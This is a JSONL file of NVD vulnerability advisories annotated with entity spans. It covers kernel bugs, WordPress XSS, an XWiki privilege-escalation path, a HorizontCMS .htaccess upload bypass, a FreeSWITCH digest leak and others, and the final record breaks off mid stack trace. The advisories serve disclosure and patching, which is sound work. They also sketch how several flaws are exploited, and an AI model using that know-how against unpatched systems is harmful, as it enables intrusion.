{"text": "A vulnerability has been found in trampgeek jobe up to 1.6.4 and classified as problematic. This vulnerability affects the function runs_post of the file application/controllers/Restapi.php. The manipulation of the argument sourcefilename leads to an unknown weakness. Upgrading to version 1.6.5 is able to address this issue. The patch is identified as 694da5013dbecc8d30dd83e2a83e78faadf93771. It is recommended to upgrade the affected component. VDB-217174 is the identifier assigned to this vulnerability.", "spans": {"HASH: 694da5013dbecc8d30dd83e2a83e78faadf93771": [[354, 394]], "FILEPATH: /controllers/Restapi.php.": [[165, 190]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-4297"}}
{"text": "FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to version 1.4.0, a business logic flaw in FileRise’s file/folder handling allows low-privilege users to perform unauthorized operations (view/delete/modify) on files created by other users. The root cause was inferring ownership/visibility from folder names (e.g., a folder named after a username) and missing server-side authorization/ownership checks across file operation endpoints. This amounted to an IDOR pattern: an attacker could operate on resources identified only by predictable names. This issue has been patched in version 1.4.0 and further hardened in version 1.5.0. A workaround for this issue involves restricting non-admin users to read-only or disable delete/rename APIs server-side, avoid creating top-level folders named after other usernames, and adding server-side checks that verify ownership before delete/rename/move.", "spans": {"FILEPATH: /delete/modify": [[252, 266]], "FILEPATH: /rename/move.": [[940, 953]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-62509"}}
{"text": "Incorrect Authorization vulnerability in Micro Focus Container Deployment Foundation component affects products: - Hybrid Cloud Management. Versions 2018.05 to 2019.11. - ArcSight Investigate. versions 2.4.0, 3.0.0 and 3.1.0. - ArcSight Transformation Hub. versions 3.0.0, 3.1.0, 3.2.0. - ArcSight Interset. version 6.0.0. - ArcSight ESM (when ArcSight Fusion 1.0 is installed). version 7.2.1. - Service Management Automation (SMA). versions 2018.05 to 2020.02 - Operation Bridge Suite (Containerized). Versions 2018.05 to 2020.02. - Network Operation Management. versions 2017.11 to 2019.11. - Data Center Automation Containerized. versions 2018.05 to 2019.11 - Identity Intelligence. versions 1.1.0 and 1.1.1. The vulnerability could be exploited to provide unauthorized access to the Container Deployment Foundation.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11844"}}
{"text": "Autolab is a course management service, initially developed by a team of students at Carnegie Mellon University, that enables instructors to offer autograded programming assignments to their students over the Web. A file disclosure vulnerability was discovered in Autolab's remote handin feature, whereby users are able to hand-in assignments using paths outside their submission directory. Users can then view the submission to view the file's contents. The vulnerability has been patched in version 2.10.0. As a workaround, ensure that the field for the remote handin feature is empty (Edit Assessment > Advanced > Remote handin path), and that you are not running Autolab as `root` (or any user that has write access to `/`). Alternatively, disable the remote handin feature if it is unneeded by replacing the body of `local_submit` in `app/controllers/assessment/handin.rb` with `render(plain: \"Feature disabled\", status: :bad_request) && return`.", "spans": {"FILEPATH: /controllers/assessment/handin.rb": [[843, 876]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-41956"}}
{"text": "Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Prior to 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. This vulnerability is fixed in 1.11.1.", "spans": {"FILEPATH: /resolution/resolver/http": [[783, 808]], "FILEPATH: /remoteresolution/resolver/http": [[828, 859]], "SYSTEM: Kubernetes": [[502, 512]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40924"}}
{"text": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any user who can create a space can become admin of that space through App Within Minutes. The admin right implies the script right and thus allows JavaScript injection. The vulnerability can be exploited by creating an app in App Within Minutes. If the button should be disabled because the user doesn't have global edit right, the app can also be created by directly opening `/xwiki/bin/view/AppWithinMinutes/CreateApplication?wizard=true` on the XWiki installation. This has been patched in XWiki 13.10.11, 14.4.8, 14.10.1 and 15.0 RC1 by not granting the space admin right if the user doesn't have script right on the space where the app is created. Error message are displayed to warn the user that the app will be broken in this case. Users who became space admin through this vulnerability won't loose the space admin right due to the fix, so it is advised to check if all users who created AWM apps should keep their space admin rights. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: /xwiki/bin/view/AppWithinMinutes/CreateApplication": [[483, 533]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-29515"}}
{"text": "FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a software implementation that runs on any commodity hardware. Prior to version 1.10.7, an attacker can perform a SIP digest leak attack against FreeSWITCH and receive the challenge response of a gateway configured on the FreeSWITCH server. This is done by challenging FreeSWITCH's SIP requests with the realm set to that of the gateway, thus forcing FreeSWITCH to respond with the challenge response which is based on the password of that targeted gateway. Abuse of this vulnerability allows attackers to potentially recover gateway passwords by performing a fast offline password cracking attack on the challenge response. The attacker does not require special network privileges, such as the ability to sniff the FreeSWITCH's network traffic, to exploit this issue. Instead, what is required for this attack to work is the ability to cause the victim server to send SIP request messages to the malicious party. Additionally, to exploit this issue, the attacker needs to specify the correct realm which might in some cases be considered secret. However, because many gateways are actually public, this information can easily be retrieved. The vulnerability appears to be due to the code which handles challenges in `sofia_reg.c`, `sofia_reg_handle_sip_r_challenge()` which does not check if the challenge is originating from the actual gateway. The lack of these checks allows arbitrary UACs (and gateways) to challenge any request sent by FreeSWITCH with the realm of the gateway being targeted. This issue is patched in version 10.10.7. Maintainers recommend that one should create an association between a SIP session for each gateway and its realm to make a check be put into place for this association when responding to challenges.", "spans": {"FILEPATH: sofia_reg.c": [[1338, 1349]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41158"}}
{"text": "The Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 4.2.2. This is due to insufficient input sanitization and output escaping on the user-supplied 's' parameter (srcset descriptor) in the unauthenticated /wp-json/optimole/v1/optimizations REST endpoint. The endpoint validates requests using an HMAC signature and timestamp, but these values are exposed directly in the frontend HTML making them accessible to any visitor. The plugin uses sanitize_text_field() on the descriptor value of rest.php, which strips HTML tags but does not escape double quotes. The poisoned descriptor is then stored via transients (backed by the WordPress options table) and later retrieved and injected verbatim into the srcset attribute of tag_replacer.php without proper escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts into pages that will execute whenever a user accesses the injected page.", "spans": {"FILEPATH: /wp-json/optimole/v1/optimizations": [[348, 382]], "FILEPATH: rest.php": [[632, 640]], "FILEPATH: tag_replacer.php": [[865, 881]], "SYSTEM: WordPress": [[103, 112], [769, 778]], "VULNERABILITY: Cross-Site Scripting": [[137, 157]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-5217"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ngve: fix incorrect buffer cleanup in gve_tx_clean_pending_packets for QPL\n\nIn DQ-QPL mode, gve_tx_clean_pending_packets() incorrectly uses the RDA\nbuffer cleanup path. It iterates num_bufs times and attempts to unmap\nentries in the dma array.\n\nThis leads to two issues:\n1. The dma array shares storage with tx_qpl_buf_ids (union).\n Interpreting buffer IDs as DMA addresses results in attempting to\n unmap incorrect memory locations.\n2. num_bufs in QPL mode (counting 2K chunks) can significantly exceed\n the size of the dma array, causing out-of-bounds access warnings\n(trace below is how we noticed this issue).\n\nUBSAN: array-index-out-of-bounds in\ndrivers/net/ethernet/drivers/net/ethernet/google/gve/gve_tx_dqo.c:178:5 index 18 is out of\nrange for type 'dma_addr_t[18]' (aka 'unsigned long long[18]')\nWorkqueue: gve gve_service_task [gve]\nCall Trace:\n<TASK>\ndump_stack_lvl+0x33/0xa0\n__ubsan_handle_out_of_bounds+0xdc/0x110\ngve_tx_stop_ring_dqo+0x182/0x200 [gve]\ngve_close+0x1be/0x450 [gve]\ngve_reset+0x99/0x120 [gve]\ngve_service_task+0x61/0x100 [gve]\nprocess_scheduled_works+0x1e9/0x380\n\nFix this by properly checking for QPL mode and delegating to\ngve_free_tx_qpl_bufs() to reclaim the buffers.", "spans": {"FILEPATH: /net/ethernet/drivers/net/ethernet/google/gve/gve_tx_dqo.c": [[726, 784]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: out-of-bounds access": [[608, 628]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23386"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mlx5: Fix a WARN during dereg_mr for DM type\n\nMemory regions (MR) of type DM (device memory) do not have an associated\numem.\n\nIn the __mlx5_ib_dereg_mr() -> mlx5_free_priv_descs() flow, the code\nincorrectly takes the wrong branch, attempting to call\ndma_unmap_single() on a DMA address that is not mapped.\n\nThis results in a WARN [1], as shown below.\n\nThe issue is resolved by properly accounting for the DM type and\nensuring the correct branch is selected in mlx5_free_priv_descs().\n\n[1]\nWARNING: CPU: 12 PID: 1346 at drivers/iommu/dma-iommu.c:1230 iommu_dma_unmap_page+0x79/0x90\nModules linked in: ip6table_mangle ip6table_nat ip6table_filter ip6_tables iptable_mangle xt_conntrack xt_MASQUERADE nf_conntrack_netlink nfnetlink xt_addrtype iptable_nat nf_nat br_netfilter rpcsec_gss_krb5 auth_rpcgss oid_registry ovelay rpcrdma rdma_ucm ib_iser libiscsi scsi_transport_iscsi ib_umad rdma_cm ib_ipoib iw_cm ib_cm mlx5_ib ib_uverbs ib_core fuse mlx5_core\nCPU: 12 UID: 0 PID: 1346 Comm: ibv_rc_pingpong Not tainted 6.12.0-rc7+ #1631\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\nRIP: 0010:iommu_dma_unmap_page+0x79/0x90\nCode: 2b 49 3b 29 72 26 49 3b 69 08 73 20 4d 89 f0 44 89 e9 4c 89 e2 48 89 ee 48 89 df 5b 5d 41 5c 41 5d 41 5e 41 5f e9 07 b8 88 ff <0f> 0b 5b 5d 41 5c 41 5d 41 5e 41 5f c3 cc cc cc cc 66 0f 1f 44 00\nRSP: 0018:ffffc90001913a10 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: ffff88810194b0a8 RCX: 0000000000000000\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000001\nRBP: ffff88810194b0a8 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000\nR13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000000\nFS:  00007f537abdd740(0000) GS:ffff88885fb00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f537aeb8000 CR3: 000000010c248001 CR4: 0000000000372eb0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n<TASK>\n? __warn+0x84/0x190\n? iommu_dma_unmap_page+0x79/0x90\n? report_bug+0xf8/0x1c0\n? handle_bug+0x55/0x90\n? exc_invalid_op+0x13/0x60\n? asm_exc_invalid_op+0x16/0x20\n? iommu_dma_unmap_page+0x79/0x90\ndma_unmap_page_attrs+0xe6/0x290\nmlx5_free_priv_descs+0xb0/0xe0 [mlx5_ib]\n__mlx5_ib_dereg_mr+0x37e/0x520 [mlx5_ib]\n? _raw_spin_unlock_irq+0x24/0x40\n? wait_for_completion+0xfe/0x130\n? rdma_restrack_put+0x63/0xe0 [ib_core]\nib_dereg_mr_user+0x5f/0x120 [ib_core]\n? lock_release+0xc6/0x280\ndestroy_hw_idr_uobject+0x1d/0x60 [ib_uverbs]\nuverbs_destroy_uobject+0x58/0x1d0 [ib_uverbs]\nuobj_destroy+0x3f/0x70 [ib_uverbs]\nib_uverbs_cmd_verbs+0x3e4/0xbb0 [ib_uverbs]\n? __pfx_uverbs_destroy_def_handler+0x10/0x10 [ib_uverbs]\n? lock_acquire+0xc1/0x2f0\n? ib_uverbs_ioctl+0xcb/0x170 [ib_uverbs]\n? ib_uverbs_ioctl+0x116/0x170 [ib_uverbs]\n? lock_release+0xc6/0x280\nib_uverbs_ioctl+0xe7/0x170 [ib_uverbs]\n? ib_uverbs_ioctl+0xcb/0x170 [ib_uverbs]\n__x64_sys_ioctl+0x1b0/0xa70\ndo_syscall_64+0x6b/0x140\nentry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x7f537adaf17b\nCode: 0f 1e fa 48 8b 05 1d ad 0c 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d ed ac 0c 00 f7 d8 64 89 01 48\nRSP: 002b:00007ffff218f0b8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007ffff218f1d8 RCX: 00007f537adaf17b\nRDX: 00007ffff218f1c0 RSI: 00000000c0181b01 RDI: 0000000000000003\nRBP: 00007ffff218f1a0 R08: 00007f537aa8d010 R09: 0000561ee2e4f270\nR10: 00007f537aace3a8 R11: 0000000000000246 R12: 00007ffff218f190\nR13: 000000000000001c R14: 0000561ee2e4d7c0 R15: 00007ffff218f450\n</TASK>", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[1162, 1206]], "FILEPATH: /iommu/dma-iommu.c": [[600, 618]], "FILEPATH: /01/2014": [[1209, 1217]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1120, 1124]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21888"}}
{"text": "File upload vulnerability in HorizontCMS before 1.0.0-beta.3 via uploading a .htaccess and *.hello files using the Media Files upload functionality. The original file upload vulnerability (CVE-2020-27387) was remediated by restricting the PHP extensions; however, we confirmed that the filter was bypassed via uploading an arbitrary .htaccess and *.hello files in order to execute PHP code to gain RCE.", "spans": {"CVE_ID: CVE-2020-27387": [[189, 203]], "SYSTEM: PHP": [[239, 242], [381, 384]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28428"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnbd: fix io hung while disconnecting device\n\nIn our tests, \"qemu-nbd\" triggers a io hung:\n\nINFO: task qemu-nbd:11445 blocked for more than 368 seconds.\n      Not tainted 5.18.0-rc3-next-20220422-00003-g2176915513ca #884\n\"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\ntask:qemu-nbd        state:D stack:    0 pid:11445 ppid:     1 flags:0x00000000\nCall Trace:\n <TASK>\n __schedule+0x480/0x1050\n ? _raw_spin_lock_irqsave+0x3e/0xb0\n schedule+0x9c/0x1b0\n blk_mq_freeze_queue_wait+0x9d/0xf0\n ? ipi_rseq+0x70/0x70\n blk_mq_freeze_queue+0x2b/0x40\n nbd_add_socket+0x6b/0x270 [nbd]\n nbd_ioctl+0x383/0x510 [nbd]\n blkdev_ioctl+0x18e/0x3e0\n __x64_sys_ioctl+0xac/0x120\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x7fd8ff706577\nRSP: 002b:00007fd8fcdfebf8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 0000000040000000 RCX: 00007fd8ff706577\nRDX: 000000000000000d RSI: 000000000000ab00 RDI: 000000000000000f\nRBP: 000000000000000f R08: 000000000000fbe8 R09: 000055fe497c62b0\nR10: 00000002aff20000 R11: 0000000000000246 R12: 000000000000006d\nR13: 0000000000000000 R14: 00007ffe82dc5e70 R15: 00007fd8fcdff9c0\n\n\"qemu-ndb -d\" will call ioctl 'NBD_DISCONNECT' first, however, following\nmessage was found:\n\nblock nbd0: Send disconnect failed -32\n\nWhich indicate that something is wrong with the server. Then,\n\"qemu-nbd -d\" will call ioctl 'NBD_CLEAR_SOCK', however ioctl can't clear\nrequests after commit 2516ab1543fd(\"nbd: only clear the queue on device\nteardown\"). And in the meantime, request can't complete through timeout\nbecause nbd_xmit_timeout() will always return 'BLK_EH_RESET_TIMER', which\nmeans such request will never be completed in this situation.\n\nNow that the flag 'NBD_CMD_INFLIGHT' can make sure requests won't\ncomplete multiple times, switch back to call nbd_clear_sock() in\nnbd_clear_sock_ioctl(), so that inflight requests can be cleared.", "spans": {"FILEPATH: /proc/sys/kernel/hung_task_timeout_secs": [[299, 338]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49297"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmtd: Fix gluebi NULL pointer dereference caused by ftl notifier\n\nIf both ftl.ko and gluebi.ko are loaded, the notifier of ftl\ntriggers NULL pointer dereference when trying to access\n‘gluebi->desc’ in gluebi_read().\n\nubi_gluebi_init\n  ubi_register_volume_notifier\n    ubi_enumerate_volumes\n      ubi_notify_all\n        gluebi_notify    nb->notifier_call()\n          gluebi_create\n            mtd_device_register\n              mtd_device_parse_register\n                add_mtd_device\n                  blktrans_notify_add   not->add()\n                    ftl_add_mtd         tr->add_mtd()\n                      scan_header\n                        mtd_read\n                          mtd_read_oob\n                            mtd_read_oob_std\n                              gluebi_read   mtd->read()\n                                gluebi->desc - NULL\n\nDetailed reproduction information available at the Link [1],\n\nIn the normal case, obtain gluebi->desc in the gluebi_get_device(),\nand access gluebi->desc in the gluebi_read(). However,\ngluebi_get_device() is not executed in advance in the\nftl_add_mtd() process, which leads to NULL pointer dereference.\n\nThe solution for the gluebi module is to run jffs2 on the UBI\nvolume without considering working with ftl or mtdblock [2].\nTherefore, this problem can be avoided by preventing gluebi from\ncreating the mtdblock device after creating mtd partition of the\ntype MTD_UBIVOLUME.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[85, 109], [204, 228], [1193, 1217]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52449"}}
{"text": "A vulnerability was discovered in the Zoom Client for Meetings (for Android, iOS, Linux, macOS, and Windows) before version 5.8.4, Zoom Client for Meetings for Blackberry (for Android and iOS) before version 5.8.1, Zoom Client for Meetings for intune (for Android and iOS) before version 5.8.4, Zoom Client for Meetings for Chrome OS before version 5.0.1, Zoom Rooms for Conference Room (for Android, AndroidBali, macOS, and Windows) before version 5.8.3, Controllers for Zoom Rooms (for Android, iOS, and Windows) before version 5.8.3, Zoom VDI Windows Meeting Client before version 5.8.4, Zoom VDI Azure Virtual Desktop Plugins (for Windows x86 or x64, IGEL x64, Ubuntu x64, HP ThinPro OS x64) before version 5.8.4.21112, Zoom VDI Citrix Plugins (for Windows x86 or x64, Mac Universal Installer & Uninstaller, IGEL x64, eLux RP6 x64, HP ThinPro OS x64, Ubuntu x64, CentOS x 64, Dell ThinOS) before version 5.8.4.21112, Zoom VDI VMware Plugins (for Windows x86 or x64, Mac Universal Installer & Uninstaller, IGEL x64, eLux RP6 x64, HP ThinPro OS x64, Ubuntu x64, CentOS x 64, Dell ThinOS) before version 5.8.4.21112, Zoom Meeting SDK for Android before version 5.7.6.1922, Zoom Meeting SDK for iOS before version 5.7.6.1082, Zoom Meeting SDK for macOS before version 5.7.6.1340, Zoom Meeting SDK for Windows before version 5.7.6.1081, Zoom Video SDK (for Android, iOS, macOS, and Windows) before version 1.1.2, Zoom on-premise Meeting Connector before version 4.8.12.20211115, Zoom on-premise Meeting Connector MMR before version 4.8.12.20211115, Zoom on-premise Recording Connector before version 5.1.0.65.20211116, Zoom on-premise Virtual Room Connector before version 4.4.7266.20211117, Zoom on-premise Virtual Room Connector Load Balancer before version 2.5.5692.20211117, Zoom Hybrid Zproxy before version 1.0.1058.20211116, and Zoom Hybrid MMR before version 4.6.20211116.131_x86-64 which potentially allowed for the exposure of the state of process memory. This issue could be used to potentially gain insight into arbitrary areas of the product's memory.", "spans": {"IP_ADDRESS: 5.1.0.65": [[1599, 1607]], "SYSTEM: Windows": [[100, 107], [425, 432], [506, 513], [546, 553], [635, 642], [753, 760], [950, 957], [1301, 1308], [1381, 1388]], "SYSTEM: Android": [[68, 75], [176, 183], [256, 263], [392, 399], [488, 495], [1139, 1146], [1356, 1363]], "SYSTEM: Linux": [[82, 87]], "SYSTEM: macOS": [[89, 94], [414, 419], [1247, 1252], [1370, 1375]], "SYSTEM: iOS": [[77, 80], [188, 191], [268, 271], [497, 500], [1195, 1198], [1365, 1368]], "ORGANIZATION: Ubuntu": [[665, 671], [855, 861], [1052, 1058]], "ORGANIZATION: VMware": [[930, 936]], "ORGANIZATION: Citrix": [[733, 739]], "ORGANIZATION: Dell": [[880, 884], [1077, 1081]], "ORGANIZATION: Zoom": [[38, 42], [131, 135], [215, 219], [295, 299], [356, 360], [472, 476], [537, 541], [591, 595], [724, 728], [921, 925], [1118, 1122], [1174, 1178], [1226, 1230], [1280, 1284], [1336, 1340], [1412, 1416], [1478, 1482], [1548, 1552], [1618, 1622], [1691, 1695], [1778, 1782], [1835, 1839]], "ORGANIZATION: HP": [[677, 679], [836, 838], [1033, 1035]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-34424"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/dcssblk: fix kernel crash with list_add corruption\n\nCommit fb08a1908cb1 (\"dax: simplify the dax_device <-> gendisk\nassociation\") introduced new logic for gendisk association, requiring\ndrivers to explicitly call dax_add_host() and dax_remove_host().\n\nFor dcssblk driver, some dax_remove_host() calls were missing, e.g. in\ndevice remove path. The commit also broke error handling for out_dax case\nin device add path, resulting in an extra put_device() w/o the previous\nget_device() in that case.\n\nThis lead to stale xarray entries after device add / remove cycles. In the\ncase when a previously used struct gendisk pointer (xarray index) would be\nused again, because blk_alloc_disk() happened to return such a pointer, the\nxa_insert() in dax_add_host() would fail and go to out_dax, doing the extra\nput_device() in the error path. In combination with an already flawed error\nhandling in dcssblk (device_register() cleanup), which needs to be\naddressed in a separate patch, this resulted in a missing device_del() /\nklist_del(), and eventually in the kernel crash with list_add corruption on\na subsequent device_add() / klist_add().\n\nFix this by adding the missing dax_remove_host() calls, and also move the\nput_device() in the error path to restore the previous logic.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54117"}}
{"text": "Metabase is an open source data analytics platform. Affected versions are subject to Improper Privilege Management. As intended, recipients of dashboards subscriptions can view the data as seen by the creator of that subscription. This allows someone with greater access to data to create a dashboard subscription, add people with fewer data privileges, and all recipients of that subscription receive the same data: the charts shown in the email would abide by the privileges of the user who created the subscription. The issue is users with fewer privileges who can view a dashboard are able to add themselves to a dashboard subscription created by someone with additional data privileges, and thus get access to more data via email. This issue is patched in versions 0.43.7.1, 1.43.7.1, 0.44.6.1, 1.44.6.1, 0.45.2.1, and 1.45.2.1. On Metabase instances running Enterprise Edition, admins can disable the \"Subscriptions and Alerts\" permission for groups that have restricted data permissions, as a workaround.", "spans": {"IP_ADDRESS: 0.43.7.1": [[770, 778]], "IP_ADDRESS: 1.43.7.1": [[780, 788]], "IP_ADDRESS: 0.44.6.1": [[790, 798]], "IP_ADDRESS: 1.44.6.1": [[800, 808]], "IP_ADDRESS: 0.45.2.1": [[810, 818]], "IP_ADDRESS: 1.45.2.1": [[824, 832]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-23629"}}
{"text": "EspoCRM is an open source customer relationship management application. Versions 9.3.3 and below have a stored HTML injection vulnerability that allows any authenticated user with standard (non-administrative) privileges to inject arbitrary HTML into system-generated email notifications by crafting malicious content in the post field of stream activity notes. The vulnerability exists because server-side Handlebars templates render the post field using unescaped triple-brace syntax, the Markdown processor preserves inline HTML by default, and the rendering pipeline explicitly skips sanitization for fields present in additionalData, creating a path where attacker-controlled HTML is accepted, stored, and rendered directly into emails without any escaping. Since the emails are sent using the system's configured SMTP identity (such as an administrative sender address), the injected content appears fully trusted to recipients, enabling phishing attacks, user tracking via embedded resources like image beacons, and UI manipulation within email content. The @mention feature further increases the impact by allowing targeted delivery of malicious emails to specific users. This issue has been fixed in version 9.3.4.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33657"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, sockmap: Fix repeated calls to sock_put() when msg has more_data\n\nIn tcp_bpf_send_verdict() redirection, the eval variable is assigned to\n__SK_REDIRECT after the apply_bytes data is sent, if msg has more_data,\nsock_put() will be called multiple times.\n\nWe should reset the eval variable to __SK_NONE every time more_data\nstarts.\n\nThis causes:\n\nIPv4: Attempt to release TCP socket in state 1 00000000b4c925d7\n------------[ cut here ]------------\nrefcount_t: addition on 0; use-after-free.\nWARNING: CPU: 5 PID: 4482 at lib/refcount.c:25 refcount_warn_saturate+0x7d/0x110\nModules linked in:\nCPU: 5 PID: 4482 Comm: sockhash_bypass Kdump: loaded Not tainted 6.0.0 #1\nHardware name: Red Hat KVM, BIOS 1.11.0-2.el7 04/01/2014\nCall Trace:\n <TASK>\n __tcp_transmit_skb+0xa1b/0xb90\n ? __alloc_skb+0x8c/0x1a0\n ? __kmalloc_node_track_caller+0x184/0x320\n tcp_write_xmit+0x22a/0x1110\n __tcp_push_pending_frames+0x32/0xf0\n do_tcp_sendpages+0x62d/0x640\n tcp_bpf_push+0xae/0x2c0\n tcp_bpf_sendmsg_redir+0x260/0x410\n ? preempt_count_add+0x70/0xa0\n tcp_bpf_send_verdict+0x386/0x4b0\n tcp_bpf_sendmsg+0x21b/0x3b0\n sock_sendmsg+0x58/0x70\n __sys_sendto+0xfa/0x170\n ? xfd_validate_state+0x1d/0x80\n ? switch_fpu_return+0x59/0xe0\n __x64_sys_sendto+0x24/0x30\n do_syscall_64+0x37/0x90\n entry_SYSCALL_64_after_hwframe+0x63/0xcd", "spans": {"FILEPATH: /01/2014": [[784, 792]], "FILEPATH: refcount.c": [[595, 605]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[759, 762]], "ORGANIZATION: Red Hat": [[751, 758]], "VULNERABILITY: use-after-free": [[546, 560]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50536"}}
{"text": "XXE injection in /rtc/post/ endpoint in OpenMNS Horizon 31.0.8 and versions earlier than 32.0.2 on multiple platforms is vulnerable to XML external entity (XXE) injection, which can be used for instance to force Horizon to make arbitrary HTTP requests to internal and external services. The solution is to upgrade to Meridian 2023.1.6, 2022.1.19, 2021.1.30, 2020.1.38 or Horizon 32.0.2 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization's private networks and should not be directly accessible from the Internet. OpenNMS thanks Erik Wynter and Moshe Apelbaum for reporting this issue.", "spans": {"FILEPATH: /rtc/post": [[17, 26]], "VULNERABILITY: XML external entity": [[135, 154]], "VULNERABILITY: XXE": [[0, 3], [156, 159]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-0871"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: fix usage slab after free\n\n[  +0.000021] BUG: KASAN: slab-use-after-free in drm_sched_entity_flush+0x6cb/0x7a0 [gpu_sched]\n[  +0.000027] Read of size 8 at addr ffff8881b8605f88 by task amd_pci_unplug/2147\n\n[  +0.000023] CPU: 6 PID: 2147 Comm: amd_pci_unplug Not tainted 6.10.0+ #1\n[  +0.000016] Hardware name: ASUS System Product Name/ROG STRIX B550-F GAMING (WI-FI), BIOS 1401 12/03/2020\n[  +0.000016] Call Trace:\n[  +0.000008]  <TASK>\n[  +0.000009]  dump_stack_lvl+0x76/0xa0\n[  +0.000017]  print_report+0xce/0x5f0\n[  +0.000017]  ? drm_sched_entity_flush+0x6cb/0x7a0 [gpu_sched]\n[  +0.000019]  ? srso_return_thunk+0x5/0x5f\n[  +0.000015]  ? kasan_complete_mode_report_info+0x72/0x200\n[  +0.000016]  ? drm_sched_entity_flush+0x6cb/0x7a0 [gpu_sched]\n[  +0.000019]  kasan_report+0xbe/0x110\n[  +0.000015]  ? drm_sched_entity_flush+0x6cb/0x7a0 [gpu_sched]\n[  +0.000023]  __asan_report_load8_noabort+0x14/0x30\n[  +0.000014]  drm_sched_entity_flush+0x6cb/0x7a0 [gpu_sched]\n[  +0.000020]  ? srso_return_thunk+0x5/0x5f\n[  +0.000013]  ? __kasan_check_write+0x14/0x30\n[  +0.000016]  ? __pfx_drm_sched_entity_flush+0x10/0x10 [gpu_sched]\n[  +0.000020]  ? srso_return_thunk+0x5/0x5f\n[  +0.000013]  ? __kasan_check_write+0x14/0x30\n[  +0.000013]  ? srso_return_thunk+0x5/0x5f\n[  +0.000013]  ? enable_work+0x124/0x220\n[  +0.000015]  ? __pfx_enable_work+0x10/0x10\n[  +0.000013]  ? srso_return_thunk+0x5/0x5f\n[  +0.000014]  ? free_large_kmalloc+0x85/0xf0\n[  +0.000016]  drm_sched_entity_destroy+0x18/0x30 [gpu_sched]\n[  +0.000020]  amdgpu_vce_sw_fini+0x55/0x170 [amdgpu]\n[  +0.000735]  ? __kasan_check_read+0x11/0x20\n[  +0.000016]  vce_v4_0_sw_fini+0x80/0x110 [amdgpu]\n[  +0.000726]  amdgpu_device_fini_sw+0x331/0xfc0 [amdgpu]\n[  +0.000679]  ? mutex_unlock+0x80/0xe0\n[  +0.000017]  ? 